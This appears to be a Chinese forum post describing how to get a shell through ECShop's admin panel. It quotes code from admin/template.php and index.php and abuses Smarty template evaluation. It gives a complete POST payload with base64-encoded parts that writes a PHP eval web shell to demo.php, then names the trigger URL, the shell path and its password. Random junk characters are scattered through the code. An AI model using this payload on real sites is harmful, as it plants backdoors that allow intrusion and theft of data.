Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
4 ]- u$ e3 h3 `但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
. a& P2 ?" u! q( ^: v$ Aadmin/template.php

. X6 z6 I1 Q7 L6 y! T$ A1 if ($_REQUEST['act'] == 'update_library')

2   
! {1 R. _' d  {& |
/ ]; ]8 X$ q2 N& E+ P+ H6 K3 {
7 {) [' E$ e$ c0 k5 }1 T$ ]
- g5 L, k. r. h$ W# G9 F, `4     check_authz_json('library_manage');

5   
% F4 @! o% y$ q0 N* N* F4 P5 ?
- z* e" }  G+ M+ x8 u6     $html = stripslashes(json_str_iconv($_POST['html']));

7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   

7 D6 g- V/ m+ E( F! l5 `* ]10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
. p% V+ Q) Z$ Q4 P: Y  \5 ?# a9 G
13   
" ?$ p9 e7 ?5 g; f4 V' V8 s" ?/ O0 S
" m, P3 {) G' H: {9 i; e14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

4 }5 z. [1 ^8 q) C6 }0 o% ]% f15     {

$ U' g, f/ Z+ A. e9 X" N' ~  Q( A16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

) A6 O' s3 F3 z- y( }) L$ ?17         make_json_result('', $_LANG['update_lib_success']);
; d' W3 u' |  J, `# ]& g3 {" [' x3 T
18     }
8 o, B) {" z2 S/ t: o7 d
19     else

20     {
) Z- b$ V4 {6 M- r' ?( D+ P: D* B
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

- H9 k; I  V+ G( t* n6 p3 S" a8 @22     }
5 |$ k& \8 C+ f+ [' ?
& C8 G  y! }0 o1 ?) ?23 }

那么找个比较方便调用了模板的文件
+ l+ C+ ~) r. ^& @6 u9 Gindex.php

7 }( U# U7 j7 A( `" z1 if ($act == 'cat_rec')

2   

" B4 h  g, D4 E" j: s3 X! s1 M3 {

4 o+ T/ J: h5 \9 J4 C4   
" g/ y4 X8 v( }
2 t6 s8 a& |" T$ o. o) ?" `# r. C) O5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
# ?2 L* Q4 i6 N! F& R$ `& p
+ d  c+ {- N! E9 f( ^6   
8 n1 N* _* Y5 X0 |: d6 X
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   
" K3 V/ e; r5 E: e5 n8 A
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
2 x4 |& R4 [: ?% a& G/ L0 U
10   

0 d, w6 E6 O1 S$ }% T0 g# @( t# v11     include_once('includes/cls_json.php');
+ g! S1 o2 F% D5 n! |; F
$ ]: m. G4 @- T) H! r& c12   
* S! ]: y/ L; N7 I! I
% n% [+ |2 n! q( e; G6 Z. u13     $json = new JSON;

) a$ F0 ?# F# q1 t1 s/ a14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   

+ `% f0 @. I3 t2 d; C; Z2 C) Z17     $children = get_children($cat_id);

18   

; @* q, `5 ?, g) U19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
, x9 f7 s+ [; L# M/ n8 o
20   

21     $smarty->assign('cat_rec_sign', 1);
+ t) }+ w; I, `3 k
22   

4 V- j8 P% U1 @' A8 I23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
1 P" n2 F4 f  W9 \& O6 z
24   
5 k: F+ B, ]1 o& y% q+ x
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

8 a) G# ]$ E1 A" y+ c" _, Z26   
2 ]* X* v+ c2 \9 M
27         echo $rec_array[$rec_type];

6 @. H* H* X; U2 G. R28   

) L: Q7 {; Q: E7 s7 x29     die($json->encode($result));
, [, v+ C" V$ N  a- X
" w" L, r4 Z$ Y1 T3 k, w9 x30   

31 }

/ M) S1 Y; |+ @' K( ]. Y那么就有利用方法了
8 V6 J# {4 G8 Z# p+ U2 i  opost包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
( k/ P9 G& E# K6 U5 [
# T  j9 d0 ]; g/ h7 N! _1 C​
* s0 i! f' B! T3 S1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec

1 E# n- e8 D. i* u# oshel地址：http://localhost/ec/demo.php
密码c

8 f: I3 Z4 ]% p) K